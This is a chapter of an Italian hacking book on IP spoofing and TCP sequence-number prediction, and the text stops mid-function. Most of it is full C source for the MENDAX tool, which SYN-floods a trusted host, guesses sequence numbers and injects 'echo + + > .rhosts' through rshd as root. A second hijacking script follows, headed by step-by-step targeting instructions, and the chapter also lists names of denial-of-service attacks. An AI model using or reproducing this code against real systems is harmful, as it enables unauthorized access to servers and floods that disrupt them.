HackerProgrammingBook_part_09

Document Sample
HackerProgrammingBook_part_09 Powered By Docstoc
					Hacker Programming Book


Parte IX
L’hacking avanzato




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book



Spoofing
Il termine inglese significa imbrogliare e di fatto l’attività legata allo spoofing è appunto quella
di imbrogliare i sistemi facendosi credere di essere uno degli host considerati come trust.
Sicuramente è una delle tecniche più avanzate nell’ambito dell’hacking in quanto pretende
una conoscenza molto buona delo stack del protocollo TCP.
Come attività venne da prima pubblicata sulla carta grazie agli articoli di Steve Bellovin della
Bell Laboratories il quale nel 1989 messe sull’avviso degli eventuali problemi che il protocollo
avrebbe potuto avere.
Questa attività per se stessa sarebbe più legata al semplice fatto di modificare i dati dentro
all’header dei pacchetti inserendo all’interno del campo legato all’IP sorgente quello di un IP
relativo di un host considerato come “fidato”.
Nell’articolo a cui abbiamo fatto cenno prima, il mondo informatico veniva avvisato del fatto
che se in qualche modo ci fosse stata al possibilità di individuare il numero sequenziale usato
all’interno degli headers dei pacchetti TCP, allora si sarebbe potuto tranquillamente stabilire
una connessione con qualche server facendosi passare per qualche host fidato e questo
grazie ad una lacuna dei sistemi Unix.
In effetti l’opera di falsificazione non è solo legata all’attività di sostituzione dei sistemi ma
potrebbe anche essere usata per creare degli attacchi DOS.
Infatti se gli indirizzi falsificati fossero anche quelli di destinazione sarebbe possibile fare
esaurire le risorse di un sistema mediante l’utilizzo di indirizzi di broadcast.
Attività più complesse di quelle che potrebbero essere eseguite soltanto tramite l’invio dei
pacchetti falsificati richiedono metodi che potrebbero richiedere algoritmi particolari.
Sono considerati attacchi di spoofing i seguenti :


•   Land
•   Teardrop
•   NewTear
•   SynDrop
•   TearDrop2
•   Bonk
•   Boink
•   Fragment overlap
•   Ping of death
•   IP source route
•   Ping storm
•   smurf
•   ICMP unreachable storm
•   Suspicious router advertisement
•   UDP port loopback
•   snork
•   fraggle
•   SYN flood
•   DNS spoof


Nei capitoli in cui abbiamo parlato dell’handshake dei pacchetti abbiamo visto che all’interno
esiste un numero di sequenza il quale dovrebbe essere individuato in tutte quelle attività in
cui si pretende un colloquio tra il server e il client.
Infatti questa è la parte più complessa in quelle che sono le attività di sostituzione degli host.
Ogni sistema operativo dispone di metodologie proprie legate alla generazione di questi
numeri sequenziali e sempre a riguardo esistono comunque studi di qualsiasi tipo al fine di
riuscire a trovare un metodo appropriato per l’individuazione di questi.
Lo spoofing si basa sulla supposizione da parte dei servizi offerti dal TCP e dall'UDP che un
indirizzo IP sia valido.
L'host di un hacker puo' tuttavia utilizzare un routing del codice IP di origine per presentarsi al
server nelle vesti di un client valido. Un Hacker può impiegare il routing dell'IP di origine per


Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

specificare un percorso diretto verso una destinazione e un percorso di ritorno verso
l'origine(source routing, attualmente il source routing viene disabilitato).
Quando io mi presento con un IP diverso dal mio devo far in modo che la risposta alla
richiesta che invio mi debba tornare indietro, con il source routing infatti io riesco a specificare
un percorso di ritorno( settando alcune opzioni del pacchetto IP), che comprenderà la mia
macchina. In questo modo l'hacker può intercettare o modificare le trasmissioni. Il seguente
esempio mostra il modo in cui il sistema di un hacker può prendere le vesti di un client valido
per un determinato server.

1. L'hacker cambia il proprio indirizzo IP in modo da farlo corrispondere all'indirizzo IP del
   client valido, in questo caso si parla di indirizzo spoofato.
2. L'hacker poi costruisce un percorso che conduce al server, ovvero il percorso diretto che i
   pacchetti dovranno prendere per giungere al server e per tornare all'host dell' hacker,
   utilizzando l'indirizzo del client valido come ultimo tratto del percorso per giungere al
   server.
3. L'hacker utilizza il percorso di origine per inviare al server una richiesta del client.
4. Il server accetta la richiesta dell'hacker come se questa provenisse dal client valido e poi
   restituisce la risposta all'host dell'hacker.
5. Ogni risposta alle richieste da parte del client valido viene inviata all'host dell'hacker.

Ultimamente ho trovato in rete uno studio che eseguiva una disposizione spaziale delle
sequenze numeriche visualizzate mediante grafici i quali rappresentavano stranissime forme.
I sistemi di spoofing vengono generalmente utilizzati nell’ambito delle metodologie indirizzate
alla creazione di false relazioni trust sui sistemi Unix in modo tale che questi accettino
comandi come rsh e rlogin da un altro computer senza richiedergli la password.
All’interno di molti sistemi Unix esiste il concetto di ‘trusted’ hosts.
Il software di gestione del sistema operativo permetterà a questi sistemi definiti come tali di
inviare comandi particolari senza richiedere un autenticazione.
La comodità di queste definizioni è soltanto legata al fatto che gli utenti non devono ridigitare
la password tutte le volte anche se poi di fatto questo tipo di gestione crea anche dei problemi
di sicurezza.
All’interno dei sistemi operativi Unix esiste un file e precisamente :

/etc/hosts.equiv

che può essere utilizzato dal sysadmin per la creazione di host trusted.
Se un utente tenta di eseguire il login ad un account presente da un sistema che è listato in
questo file, gli verà permesso l’accesso senza nessuna richiesta di password.
Un file il cui scopo è simile a quello appena visto è :

.rhosts

Al contrario del file precedente questo permette l’accesso solo a combinazioni di user/host
particolari.
Ogni utente può creare nella sua home directory il suo file .rhosts personale.
A causa dei problemi di sicurezza che può causare questo file, su molti sistemi questo è
disabilitato.
Un comando del seguente tipo in un sistema con relazioni trust estenderà questa relazione a
qualsiasi host in rete.

echo “+ +” >?/.rhosts

Un pacchetto legato all’attività di spoofing è quello per ambiente Linux denominato MENDAX.

// main.c

#include   <stdio.h>
#include   <stdlib.h>
#include   <string.h>
#include   <unistd.h>
#include   <netdb.h>



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

#include <fcntl.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>

#include <net/if.h>
#include <arpa/inet.h>

#ifdef NIT
#include "dnit.h"
#include <net/nit_if.h>
#endif

#include "mendax.h"
#include "packet.h"

#ifndef NIT
# define send_pak(a, b, c) send_pak((a),(b))
#endif

#ifdef NIT
char ether[6];
#endif
char *progname;
char Packet[PACKETSIZE];
unsigned long our_seq, target_seq;

#ifdef NIT
Nit *nitfd;
#endif

extern char *optarg;
extern int optind, opterr, optopt;

usage()
{
       fprintf(stderr,    "Usage:    %s    [OPTIONS]    <source>    <target>
[<gateway>]\n\n", progname);
       fprintf(stderr, " -p PORT      first port on localhost to occupy\n");
       fprintf(stderr, " -s PORT      server port on <source> to swamp\n");
       fprintf(stderr, " -l USERNAME  user on <source>\n");
       fprintf(stderr, " -r USERNAME  user on <target>\n");
       fprintf(stderr, " -c COMMAND   command to execute\n");
       fprintf(stderr, " -w PORT         wait for a TCP SYN packet on port
PORT\n");
       fprintf(stderr, " -d           read data from stdin and send it.\n");
       fprintf(stderr, " -t           test whether attack might succeed\n");
       fprintf(stderr, " -L TERM      spoof rlogind instead of rshd.\n");
       fprintf(stderr, " -S PORT            port from which to sample seq
numbers.\n");
       return(0);
}

Exit(msg, ec)
char *msg;
int ec;
{
       fprintf(stderr, "%s: %s\n", progname, msg);
       exit(ec);
}

flood_host(src, dst, pktcount, flags)
struct sockaddr_in *src, *dst;
int pktcount;
unsigned char flags;
{
       int i;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

       struct opacket pak;
       struct sockaddr_in from=*src;
       static unsigned short ip_id = 0;
       unsigned long seq_num = 343289783;
       int pktlen;

       for(i = 0 ; i < pktcount; i++) {
              from.sin_port = htons(ntohs(from.sin_port) + 1);
              pktlen = gen_tcp_pak(&pak, &from, dst, ip_id++,
                                  seq_num, 0L, 0, flags);
              seq_num += 64000;

              /* don't fire dem packets too fucking fast */
              usleep(1000);

              send_pak((char *) &pak, pktlen, ether);
              putchar('.');
       }
       putchar('\n');
}

/* if from->sin_port == 0, we accept packets from any
  * port on the remote machine.
  * The same applies to port, except that it's our local port.
  */
tcp_reply(pak, bufsize, from, port, timeout, flags)
char *pak;
u_int bufsize, port;
struct sockaddr_in *from;
struct timeval *timeout;
u_char flags;
{
        char *get_ip_pak();
        struct ip *ihdr;
        struct tcphdr *thdr;
        u_long pktlen;
        char *p;

       if((p=get_ip_pak(timeout, &pktlen)) == NULL)
              return(0);

       /* check whether our packet is bigger than our buffer. */
       if(pktlen > bufsize)
              return(0);

       /* Yuk! I hate alignments... */
       bcopy(p, pak, (int) pktlen);

       ihdr = (struct ip *) pak;
       thdr = (struct tcphdr *) (pak + ihdr->ip_hl * 4);

       /* bahh.. we only want TCP packets */
       if(ihdr->ip_p != IPPROTO_TCP)
              return(0);

       /* those packets are not for us */
       if(bcmp(&from->sin_addr, &ihdr->ip_src, 4))
              return(0);
       if(from->sin_port && thdr->th_sport != from->sin_port)
              return(0);
       if(port && thdr->th_dport != port)
              return(0);
       if(thdr->th_flags & flags != flags)
              return(0);
       return((unsigned int) pktlen);
}

guess_ackseq(ackseq, from, pktcount)



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

unsigned long *ackseq;
struct sockaddr_in *from;
unsigned pktcount;
{
       char *get_ip_pak();
       struct diffs {
              unsigned long diff;
              int cnt;
       } diffs[pktcount];
       int highdiff, highcnt;
       int n;
       time_t starttime;
       struct ip *ihdr;
       struct tcphdr *thdr;
       struct timeval timeout;
       unsigned long pktlen;
       unsigned long seqnum, acknum;
       long diff, olddiff;
       int i;
       char *pak;

       timeout.tv_sec = 1;
       timeout.tv_usec = 0;
       starttime = time(NULL);
       for (i=0; i<pktcount; diffs[i++].cnt=0);
       for(i = 0; i < pktcount;) {
              if((time(NULL) - starttime) > (time_t) WAIT)
                     break;
              if(!tcp_reply(Packet, 1024, from, 0, &timeout,         TH_SYN   |
TH_ACK))
                     continue;

              ihdr = (struct ip *) Packet;
              thdr = (struct tcphdr *) (Packet + ihdr->ip_hl * 4);

              if(i) {
                     int n;
                     int mt;
                     olddiff = diff;
                     diff = ntohl(thdr->th_seq) - seqnum;
/*
 * record the different differences
 */
                     for (mt=-1, n=0; n<pktcount; n++) {
                            if (diffs[n].cnt) {
                                   if (diffs[n].diff==diff) diffs[n].cnt++;
                                   mt=-1;
                                   break;
                            } else mt=i;
                     }
                     if (mt!=-1) {
                            diffs[mt].diff=diff;
                            diffs[mt].cnt=1;
                     }
              }
              seqnum = ntohl(thdr->th_seq);
              acknum = ntohl(thdr->th_ack);
              printf("\nseq number: %lu, ack number: %lu", seqnum, acknum);
              if(i)
                     printf(" difference: %ld", diff);
#ifdef DEBUG
              hexdump(Packet, pktlen);
#endif
              i++;
       }
       puts("\n");
       for (highdiff=highcnt=n=0; n<pktcount; n++)
              if (diffs[n].cnt>highcnt) {



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

                     highcnt=diffs[n].cnt;
                     highdiff=diffs[n].diff;
              }
       if (highcnt<2)
              printf("no detectable difference pattern.\n");
       else
              diff=highdiff;
       printf("using %ld as prediction difference (%d hit%s).\n",        diff,
highcnt, (highcnt==1)? "": "s");
       *ackseq = seqnum + diff;
}

tcp_handshake(src, dst, myhost, sampleport)
struct sockaddr_in *src, *dst, *myhost;
u_short sampleport;
{
       struct opacket *pak;
       char *buf;
       u_short ip_id = 0x4189;
       u_short dstport;
       int i;

       buf = (char *) malloc(sizeof(struct opacket) * (SAMPLEPACKETS + 1) +
16);
       pak = (struct opacket *) buf;
       our_seq = 0;
       dstport = ntohs(dst->sin_port);
       dst->sin_port = htons(sampleport);

       /* Generate TCP SYN packets with myhost's source address */
       for (i = 0; i < SAMPLEPACKETS; i ++) {
              gen_tcp_pak(pak++, myhost, dst, ip_id++, our_seq,        0L,   0,
TH_SYN);
              our_seq += 64000;
              myhost->sin_port = htons(ntohs(myhost->sin_port) + 1);
       }

       /* Generate TCP SYN packet with src's source address */
       our_seq = 0;
       dst->sin_port = htons(dstport);
       gen_tcp_pak(pak, src, dst, ip_id++, our_seq, 0L, 0, TH_SYN);

       pak = (struct opacket *) buf;

#ifndef NIT
       sock_open();
#endif
       /* Send packets */
       for (i = 0; i < SAMPLEPACKETS + 1; i++) {
              send_pak((char *) pak, sizeof(struct ip) +
                      sizeof (struct tcphdr), ether);
              pak++;
       }

       /* Calculate next possible sequence number */
#ifndef TEST
       dstport = ntohs(dst->sin_port);
       dst->sin_port = htons(sampleport);
       guess_ackseq(&target_seq, dst, SAMPLEPACKETS);
       dst->sin_port = htons(dstport);
#endif

       /* acknowledge dst's sequence number */
       pak = (struct opacket *) buf;
       gen_tcp_pak(pak, src, dst, ip_id++, our_seq, ++target_seq, 0, TH_SYN |
TH_ACK);
       send_pak((char *) pak, sizeof(struct ip) +
               sizeof (struct tcphdr), ether);



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book


       free(buf);
}

/* When rshd is spoofed, 'data' has to point to command to be
  * executed. For spoofing rlogind, 'data' points to the
  * terminal type.
  */
spoof_rservice(src, dst, remuser, locuser, term, data)
struct sockaddr_in *src, *dst;
char *remuser, *locuser, *term, *data;
{
              int slen;
              char *string, *sptr;

              if((string = malloc(256)) == NULL)
                     return (-1);

              bzero(string, 256);
              sptr = string;
              slen = strlen(data) + strlen(remuser) +
                     strlen(locuser);
              if(term != NULL)
                     slen += strlen(term) + 1;

              /* for rlogind */
              if(ntohs(dst->sin_port) == 513) {
                     sptr += 1;
                     slen += 4;
              }

              /* for rshd */
              if(ntohs(dst->sin_port) == 514) {
                     sptr += 2;
                     slen += 5;
              }
              /* build data string and send it to r-service */
              bcopy(remuser, sptr, strlen(remuser) + 1);
              sptr += strlen(remuser) + 1;
              bcopy(locuser, sptr, strlen(locuser) + 1);
              sptr += strlen(locuser) + 1;
              if(term != NULL) {
                     bcopy(term, sptr, strlen(term) + 1);
                     sptr += strlen(term) + 1;
              }
              bcopy(data, sptr, strlen(data) + 1);
              bzero(Packet, PACKETSIZE);
              bcopy(string, Packet + sizeof(struct opacket), slen);
              gen_tcp_pak((struct opacket *) Packet, src, dst, 64, our_seq,
                         target_seq, slen, TH_ACK | TH_PUSH);
              send_pak(Packet, sizeof(struct ip) +
                      sizeof (struct tcphdr) + slen, ether);
              our_seq += slen;

              free(string);
}

/* returns value !=0 on success */
test_host(src, dst, myhost)
struct sockaddr_in src, dst, myhost;
{
       time_t starttime;
       struct timeval timeout;
       unsigned int flag = 0;
       unsigned int pktlen;

       timeout.tv_sec = 1;
       timeout.tv_usec = 0;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

       printf("sending initial syn packet: ");
#ifndef NIT
       sock_open();
#endif
       flood_host(&myhost, &dst, 1, TH_SYN);
       starttime = time(NULL);
       while(time(NULL) - starttime < WAIT) {
              if((pktlen = (unsigned int)
                 tcp_reply(Packet, 1024, &dst,
                 0, &timeout, TH_SYN|TH_ACK))) {
                     flag++;
                     break;
              }
       }
       if(!flag) {
              printf("warning: initial syn packet was not ack'd.\n");
              return(0);
       }

       flood_host(&src, &dst, FLOODPACKETS, TH_SYN);
       printf("flooding host with bogus packets: ");
       flood_host(&myhost, &dst, 1, TH_SYN);
       flag = 0;
       starttime = time(NULL);
       while(time(NULL) - starttime < WAIT) {
              if((pktlen = (unsigned int)
                 tcp_reply(Packet, 1024, &dst,
                 0, &timeout, TH_SYN|TH_ACK))) {
                     flag++;
                     break;
              }
       }
#ifndef NIT
       sock_close();
#endif
       hexdump(Packet, pktlen);
       printf("resetting host: ");
       flood_host(&src, &dst, FLOODPACKETS, TH_RST);

       return(!flag);
}

send_data(src, dst)
struct sockaddr_in *src, *dst;
{
       FILE *in;
       char string[256];
       int slen, tbytes = 0;

       while(fgets(string, 256, stdin) != NULL) {
              slen = strlen(string);
              bcopy(string, Packet + sizeof(struct opacket), slen);

              gen_tcp_pak((struct opacket *) Packet, src, dst, 64, our_seq,
                         target_seq, slen, TH_ACK | TH_PUSH);
              send_pak(Packet, sizeof(struct ip) +
                      sizeof (struct tcphdr) + slen, ether);
              our_seq += slen;

              /* dunno whether this will work... */
              target_seq += tbytes;
              tbytes = slen;
       }
       return(0);
}

main(argc, argv)
int argc;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

char **argv;
{
       struct sockaddr_in src, dst, myhost, gw, evil;
       struct timeval timeout;
       unsigned short myport       = 7843,
                     remoteport = 514,
                     serverport = 513,
                     waitport    =     0,
                     sampleport = 514;
       unsigned int ch, tflag = 0,
                      wflag = 0,
                      dflag = 0,
                      Lflag = 0;
       char hostname[256],
            string[256],
            *sptr;
       char *locuser, *remuser, *command, *term = NULL;

       progname     = argv[0];
       timeout.tv_sec = 1;
       timeout.tv_usec = 0;
       command             = "mv .rhosts .r; echo + + > .rhosts";
       remuser             =
       locuser      = "root";

       gethostname(hostname, 255);

       if (resolve_host (EVILSITE, &evil) < 0)
              Exit("cannot resolve address of EVILSITE.", 1);
       if (resolve_host (hostname, &myhost) < 0)
              Exit("cannot resolve address of localhost.", 1);
#ifdef NIT
       if (resolve_host (GATEWAY, &gw) < 0)
              Exit("cannot resolve address of GATEWAY.", 1);
#endif

       while((ch = getopt(argc, argv, "c:dg:l:p:r:s:tw:L:S:")) != -1) {
              switch(ch) {
                     case 'c':
                            command = optarg;
                            break;
                     case 'd':
                            dflag++;
                            break;
#ifdef NIT
                     case 'g':
                            if (resolve_host (optarg, &gw) < 0)
                                   Exit("cannot resolve address of GATEWAY.",
1);
                            break;
#endif
                     case 'l':
                            locuser = optarg;
                            break;
                     case 'p':
                            myport = atoi(optarg);
                            break;
                     case 'r':
                            remuser = optarg;
                            break;
                     case 's':
                            serverport = atoi(optarg);
                            break;
                     case 't':
                            tflag++;
                            break;
                     case 'w':
                            wflag++;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

                             waitport = atoi(optarg);
                             break;
                      case 'L':
                             term = optarg;
                             break;
                      case 'S':
                             sampleport = atoi(optarg);
                             break;
                      case '?':
                      default:
                             usage();
                             exit(1);
               }
         }

         if (argc - optind !=2) {
                usage();
                exit(1);
         }
         if(term == NULL)
                remoteport = 514;
         else
                remoteport = 513;

         if (resolve_host (argv[optind++], &src)   < 0)
                Exit("cannot resolve hostname.",   1);
         if (resolve_host (argv[optind++], &dst)   < 0)
                Exit("cannot resolve hostname.",   1);

         src.sin_port = htons(serverport);
         dst.sin_port = htons(remoteport);
         myhost.sin_port     = htons(myport);
         evil.sin_port= htons(200);

#ifdef NIT
       if (arp(&gw.sin_addr, ether) < 0)
              Exit("arp failed for gateway. gateway not on local subnet ?",
1);
       if ((nitfd = NitOpen("le0", NIT_BUFFER, 0, timeout,
           NI_TIMESTAMP | NI_DROPS | NI_LEN)) == NULL)
              Exit("cannot initialize /dev/nit.", 1);
#endif

       if(tflag) {
              dst.sin_port = htons(sampleport);
              if(!test_host(src, dst, myhost))
                     printf("attack will probably fail.\n");
              else
                     printf("host   seems   to   be  unprotected    from   this
attack.\n");
              exit(0);
       }

#ifndef NOFLOOD
       /* flood source host with TCP SYN packets */

         printf("flooding source with TCP SYN packets from %s: ", EVILSITE);
         flood_host(&evil, &src, FLOODPACKETS, TH_SYN);
#endif
         /* send TCP SYN packets to target. Calculate the difference
            of the sequence numbers in the received TCP SYN|ACK packets.
            The last packet's source address is the address of the
            host we want to impersonate... Then acknowledge TCP SYN|ACK
            packet with the sequence number we guessed */

         printf("sampling sequence numbers...\n");
         tcp_handshake(&src, &dst, &myhost, sampleport);




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

         if(term == NULL) {
                printf("spoofing rshd.\n");
                spoof_rservice(&src, &dst, remuser, locuser, NULL, command);
         }
         else {
                printf("spoofing rlogind.\n");
                spoof_rservice(&src, &dst, remuser, locuser, term, command);
         }
         if(wflag) {
                time_t starttime;
                unsigned int flag = 0;
                unsigned int pktlen;

               starttime = time(NULL);
               dst.sin_port = 0;
               while(time(NULL) - starttime < WAIT) {
                      if((pktlen = (unsigned int)
                         tcp_reply(Packet, 1024, &dst,
                         waitport, &timeout, TH_SYN))) {
                             flag++;
                             break;
                      }
               }
               hexdump(Packet, pktlen);
               dst.sin_port = htons(remoteport);

               if(flag) {
                      printf("spoofing seemed to be successful.\n");
                      sleep(1);
               }
               else
                      printf("No   TCP    packet   received    within         timeout
period.\n");
       }
       else
               sleep(3);

       if(dflag)
       {
              printf("ready to send data...\n");
              send_data(&src, &dst);
              sleep(3);
       }
       /* Resetting connection */
       printf("resetting TCP target connection: .\n");
       gen_tcp_pak(Packet, &src, &dst, 128, our_seq,
                  target_seq, 0, TH_RST);
       send_pak(Packet, sizeof(struct ip) +
                      sizeof (struct tcphdr), ether);
#ifndef NOFLOOD
       /* Reset source host's serverport using TCP RST packets.
          We don't want to wait for a timeout, do we ? */

         printf("resetting source: ");
         flood_host(&evil, &src, FLOODPACKETS, TH_RST);
#endif

#ifdef NIT
       NitClose(nitfd);
#endif
       exit(0);
}



Lo spoofing può essere comqunue applicato a diversi sistemi legati ad internet come ad
esempio DNS, mail ecc.




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book


IP Spoofing e predizione del numero di sequenza TCP
In altri capitoli abbiamo visto i formati dei pacchetti relativi ai vari protocolli.
Una cosa che sicuramente è stata notata è relativa al fatto che quasi tutti i tipi possedevano
al loro interno gli indirizzi relativi a chi inviava i pacchetti e a chi li doveva ricevere.
Di questo abbiamo parlato anche nel capitolo precedente ma in questo però non abbiamo
fatto cenno al fatto che nelle comunicazioni tra due sistemi una cosa importantissima è quello
che viene definito come numero di sequenza nell’ambito delle funzioni di scambio tra questi.
Quando abbiamo visto i vari protocolli avevamo detto che quando un sistema richiede ad un
server una comunicazione questo inizializza un numero che verrà utilizzato come numero
sequenziale dei pacchetti.
Ogni volta che un sistema risponde ad una certa richiesta incrementa questo numero di un
unità e utilizza questo numero all’interno dell’apposito campo dell’header del pacchetto.
Le operazioni di spoofing possiedono come complicazione massima quella di riuscire ad
individuare questo numero al fine di fare accettare ai servers i pacchetti inviati con indirizzi
falsificati.
Molte trattazioni sono state fatte in merito.
Molte si basano sull’individuazione del sistema operativo in quanto in base a questo
avvengono determinate scelte iniziali.
Allo stesso modo delle molte teorie esistono anche un gran numero di programmi che
cercano di aiutare ad identificare questo numero sequenziale.
Un di questi è quello che segue :

/*
 *   -------------------------------------
 *   TCP Sequence Number Prediction Script
 *   -------------------------------------
 *   Compiling:
 *   Under Solaris try:
 *   gcc tcpseq.c -lsocket -lnsl -L/usr/ucblib -lucb
 *   If that doesn't work, use:
 *   gcc -o tcpseq tcpseq.c
 *   -------------------------------------
 *   This script will hijack a TCP connection
 *   using TCP Sequence Number Prediction.
 *   Script Usage:
 *   tcpseq <trusted> <target>
 *   -------------------------------------
 *   For people who know nothing of this
 *   exploit, here's how an attack might be
 *   launched.
 *
 *   X is the Attacker
 *   T is the Target
 *   C is a system the Target trusts.
 *
 *   First, issue this command:
 *   finger -l @x
 *   If the target machine has finger enabled,
 *   you should get basic information such as
 *   logged in users and current connections.
 *   If there are no connections, then try
 *   issuing this RPC (Remote Procedure Call)
 *   on the target machine:
 *   showmount -e
 *   This command, if successful, will tell
 *   you what systems have a trust between
 *   them. Pick one at random. That will be
 *   C; the system the target trusts.
 *   If this doesn't work, but the target
 *   machine has current connections, then
 *   pick one of the systems connected.
 *   That will be the new target. Do the
 *   same thing with that machine. Once
 *   you know the system the target machine
 *   trusts, type this:



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

 * tcpseq <c> <t>
 * You have a 90% chance of success.
 * -----------------------------------
 * This script has been brought to you by:
 * -----------------------------------
 * ..::[ GoD <god@mayoi.org> ] ::..
 * -----------------------------------
 */


#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netinet/ip.h>
#ifdef sun
#include <netinet/tcp.h>
#else /* Linux */
#include <netinet/ip_tcp.h>
#endif
#include <errno.h>
#include <netdb.h>

#ifdef sun
struct iphdr {
        u_char   version:4,                 /* version */
                 ihl:4;                /* header length */
         u_char tos;                  /* type of service */
         short   tot_len;                 /* total length */
         u_short id;                  /* identification */
         short   frag_off;                 /* fragment offset field */
         u_char ttl;                  /* time to live */
         u_char protocol;                    /* protocol */
         u_short check;                 /* checksum */
         unsigned long saddr, daddr; /* source and dest address */
};
#endif

/*
  * Pinched from ping.c
  * -------------------
  * in_cksum --
  * Checksum routine for Internet Protocol family headers (C Version)
  */
unsigned short in_cksum(addr, len)
     u_short *addr;
     int len;
{
     register int nleft = len;
     register u_short *w = addr;
     register int sum = 0;
     u_short answer = 0;

    /*
      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
      * sequential 16 bit words to it, and at the end, fold back all the
      * carry bits from the top 16 bits into the lower 16 bits.
      */
    while (nleft > 1) {
         sum += *w++;
         nleft -= 2;
    }

    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

         sum += answer;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}

inline void printtcppacket(int r, char *buf, struct sockaddr_in *addr)
{
       struct iphdr *ip;
       struct tcphdr *tcp;
       int len=-1;

         printf("------------------------------------------------------------
-------------------\n");
        /* IP */
        printf("Packet Size = %d\n",r);
        addr->sin_addr.s_addr = ntohl(addr->sin_addr.s_addr);
        ip = (struct iphdr *) buf;
        len = ip->ihl << 2;
       printf("IP Header\n");
       printf("---------\n");
        printf("length %d, version %d\n",len,ip->version);
       printf("tos %d, tot_len %d\n",ip->tos, ntohs(ip->tot_len));
       printf("id %d, frag_off %d, ttl %d, protocol %d\n",ntohs(ip-
>id),ntohs(ip->frag_off),
              ip->ttl, ip->protocol);
       printf("check %d\n",ntohs(ip->check));
       printf("IPFrom %s, ",inet_ntoa(ip->saddr));
       printf("IPTo %s\n",inet_ntoa(ip->daddr));

         /* TCP */
         tcp = (struct tcphdr *) (buf + len);

        printf("TCP Header\n");
        printf("----------\n");
         printf("SPort = %hu, DPort = %hu, SeqNum = %lu, AckNum = %lu\n",
                 ntohs(tcp->th_sport), ntohs(tcp->th_dport),
                 ntohl(tcp->th_seq), ntohl(tcp->th_ack));
        printf("x2 %d, off %d\n",tcp->th_x2,tcp->th_off);

        printf("Flags");
        if (!tcp->th_flags)
                printf(" none");
        else {
                if (tcp->th_flags & TH_FIN)
                         printf(" FIN");
                if (tcp->th_flags & TH_SYN)
                         printf(" SYN");
                if (tcp->th_flags & TH_RST)
                         printf(" RST");
                if (tcp->th_flags & TH_PUSH)
                         printf(" PUSH");
                if (tcp->th_flags & TH_ACK)
                         printf(" ACK");
                if (tcp->th_flags & TH_URG)
                         printf(" URG");
        }
        printf(".\n");
       printf("win %d, sum %d, urp %d\n",ntohs(tcp->th_win),ntohs(tcp-
>th_sum),ntohs(tcp->th_urp));
}

inline void gettcppacket(int s, char *buf, int size)
{



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

       struct sockaddr_in addr;
       struct iphdr *ip;
       struct tcphdr *tcp;
       int len, r;

       len = sizeof(addr);
       if ((r = recvfrom(s,buf,size,0,(struct sockaddr *) &addr,&len)) == -1)
{
              perror("recvfrom");
              fprintf(stderr,"error: recvfrom returned %d\n",r);
              exit(1);
       }

       /*
       printtcppacket(r,buf,&addr);
       */

}

inline void sendtcppacket(int s, unsigned long src, unsigned long dest,
       struct sockaddr_in *addr,
       unsigned char flags, unsigned short sport, unsigned short dport,
       unsigned long seqnum, unsigned long acknum, char *data, int datalen)
{

       struct iphdr ip;
       struct tcphdr tcp;
       static char packet[4096];
       char tcpbuf[4096];
       char *ptr;
       unsigned short size=0;

       ip.ihl = 5;
       ip.version = 4;
       ip.tos = 0;
       ip.tot_len = htons(40 + datalen);
       ip.id = htons(666+(rand()%100));
       ip.frag_off = 0;
       ip.ttl = 255;
       ip.protocol = IPPROTO_TCP;
       ip.check = 0;
       ip.saddr = src;
       ip.daddr = dest;

       ip.check = in_cksum((char *)&ip,sizeof(ip));

       tcp.th_sport = htons(sport);
       tcp.th_dport = htons(dport);
       tcp.th_seq = htonl(seqnum);
       tcp.th_ack = htonl(acknum);
       tcp.th_x2 = 0;
       tcp.th_off = 5;
       tcp.th_flags = flags;
       tcp.th_win = htons(10052);
       tcp.th_sum = 0;
       tcp.th_urp = 0;

       /* Add in a pseudo IP header */
       memset(tcpbuf,0,4096);
       ptr = tcpbuf;
       memcpy(ptr,&(ip.saddr),8); /* Both saddr and daddr */
       ptr += 9; /* Skip the 0 field */
       memcpy(ptr,&(ip.protocol),1);
       ptr += 1;
       size = htons(datalen + sizeof(tcp));
       memcpy(ptr,&(size),2);
       ptr += 2;
       memcpy(ptr,&tcp,sizeof(tcp)+datalen);



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book


       tcp.th_sum = in_cksum((char *)tcpbuf,sizeof(tcp)+12+datalen);

       memcpy(packet,(char *)&ip,sizeof(ip));
       memcpy(packet+sizeof(ip),(char *)&tcp,sizeof(tcp));
       memcpy(packet+sizeof(ip)+sizeof(tcp),(char *)data,datalen);

/*
       printtcppacket(sizeof(ip)+sizeof(tcp)+datalen,packet,addr);
*/

       if (sendto(s,packet,sizeof(ip)+sizeof(tcp)+datalen,0,
              (struct sockaddr *)addr, sizeof(struct sockaddr_in)) == -1) {
              perror("sendto");
              exit(1);
       }

}

void determine_sequence(int s, int r, unsigned long src, unsigned long dest,
       struct sockaddr_in *addr,
       unsigned long *next_seq, unsigned long *offset)
{
    struct iphdr *ip;
    struct tcphdr *tcp;
    int i, len;
    unsigned long start_seq=4321965+getpid();
    unsigned long start_port=600;
